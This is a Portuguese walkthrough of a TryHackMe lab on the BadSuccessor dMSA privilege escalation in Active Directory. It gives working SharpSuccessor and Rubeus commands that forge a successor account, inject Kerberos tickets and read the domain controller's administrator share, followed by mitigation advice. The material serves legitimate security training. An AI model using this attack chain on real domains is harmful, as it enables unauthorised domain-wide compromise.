Active-Directory-BadSuccessor

Visão Geral

Nesta sala, exploramos a técnica de escalonamento de privilégios BadSuccessor, uma vulnerabilidade que abusa de Contas de Serviço Gerenciadas Delegadas (dMSAs) no Active Directory. O ataque permite que um usuário com controle suficiente sobre um objeto dMSA personifique outra conta e potencialmente alcance privilégios de Administrador de Domínio.

Informações da Sala

Sala: https://tryhackme.com/room/adbadsuccessor

Dificuldade: Média

Data: 05/06/2026

Versão: 1.0

Objetivo: Demonstrar como as Contas de Serviço Gerenciadas Delegadas podem ser abusadas para escalonar privilégios e comprometer um ambiente Active Directory.

Papel: Terry Byte (tbyte)

Meta: Avaliar a segurança de um ambiente Active Directory recém-implantado e determinar se ele é vulnerável ao ataque BadSuccessor.

Caminho do Ataque

O ataque consiste em duas fases principais:

1. Reconhecimento.
2. Escalonamento de Privilégios via Abuso de dMSA

Reconhecimento

Passo 1 - Conectar à Máquina Alvo

• Conecte-se à estação de trabalho Windows fornecida usando RDP:

xfreerdp /v:10.211.101.20 /u:tbyte /p:P\@SSw0rd345 /dynamic-resolution

• Após a autenticação, abra o PowerShell.

Passo 2 - Navegar até o Diretório de Trabalho

• Vá para o diretório da Prova de Conceito:

  root@kitploit:~

  cd C:\PoC
  

• Verifique o conteúdo: dir

Passo 3 - Obter o Script de Enumeração

• Baixe o script PowerShell do repositório BadSuccessor da Akamai:

https://github.com/akamai/BadSuccessor/blob/main/Get-BadSuccessorOUPermissions.ps1

• Crie ou edite o script usando o Bloco de Notas:

notepad Get-BadSuccessorOUPermissions.ps1

• Cole o conteúdo e salve o arquivo.

Passo 4 - Enumerar Permissões de OU

• Execute o script:

 .\Get-BadSuccessorOUPermissions.ps1

• A saída revela contas cujas permissões podem potencialmente abusar de Contas de Serviço Gerenciadas Delegadas.
• Identifique a terceira conta retornada pelo script.
• Esta conta será usada durante a fase de escalonamento de privilégios.

Exploração Usando Windows

Passo 1 - Criar uma dMSA Maliciosa

• Use o SharpSuccessor para criar uma Conta de Serviço Gerenciada Delegada que personifica a conta do Administrador:

  root@kitploit:~

  .\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" /account:tbyte /name:pentest_dmsa /impersonate:Administrator
  

  

O que Acontece?

• A ferramenta cria um novo objeto dMSA e o configura para suceder a conta do Administrador.
• Isso estabelece a base para o escalonamento de privilégios.

Passo 2 - Solicitar um TGT Kerberos

• Use o Rubeus para obter um Tíquete de Concessão de Tíquete delegado (TGT):

  root@kitploit:~

  .\Rubeus.exe tgtdeleg /nowrap
  

  

• O comando retorna um tíquete Kerberos codificado em Base64.

• Copie o tíquete gerado.

Passo 3 - Personificar a Conta dMSA

• Use o TGT delegado para solicitar um tíquete como a conta dMSA recém-criada:

 .\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>

Resultado:

Um novo tíquete Kerberos é injetado na memória para a conta dMSA.

Passo 4 - Solicitar um Tíquete de Serviço como Administrador

• Aproveite o tíquete dMSA para obter acesso aos serviços executados no contexto do Administrador:

  root@kitploit:~

  .\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025-01.tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>
  

  

Resultado:

• Um tíquete de serviço CIFS é carregado na memória.
• Este tíquete fornece acesso a recursos que normalmente exigiriam privilégios de Administrador de Domínio.

Passo 5 - Acessar a Área de Trabalho do Administrador

• Verifique o acesso elevado navegando pelo perfil do Administrador no Controlador de Domínio:

 dir \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\

• A listagem bem-sucedida do diretório confirma o acesso em nível administrativo.

Passo 6 - Capturar a Flag

• Leia a flag armazenada na área de trabalho do Administrador:

  root@kitploit:~

  Get-Content \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\flag.txt
  

  

• Flag obtida com sucesso.

Por que o BadSuccessor é Importante

O BadSuccessor demonstra como as Contas de Serviço Gerenciadas Delegadas podem introduzir caminhos de escalonamento de privilégios em ambientes Active Directory. O Active Directory serve como a espinha dorsal de identidade de muitas organizações; vulnerabilidades que afetam o Kerberos e a delegação de contas podem ter consequências graves.

Um atacante com permissões suficientes sobre um objeto dMSA pode:

• Personificar usuários privilegiados
• Obter tíquetes Kerberos elevados
• Acessar recursos sensíveis
• Escalonar privilégios para Administrador de Domínio
• Potencialmente comprometer toda a floresta do Active Directory

Recomendações de Mitigação

Para mitigar o BadSuccessor (CVE-2025-53779), as organizações devem aplicar prontamente as atualizações de segurança da Microsoft, restringir e revisar as permissões de dMSA, monitorar atividades suspeitas do Kerberos, auditar relações de delegação e aplicar o princípio do menor privilégio. Revisões regulares das configurações de delegação do Active Directory podem ajudar a identificar e reduzir possíveis caminhos de escalonamento de privilégios.

Principais Aprendizados

Esta sala proporcionou uma valiosa experiência prática com:

• Escalonamento de privilégios no Active Directory
• Contas de Serviço Gerenciadas Delegadas (dMSAs)
• Abuso de autenticação Kerberos
• Operações de tíquetes com Rubeus
• Exploração com SharpSuccessor
• Técnicas de validação pós-exploração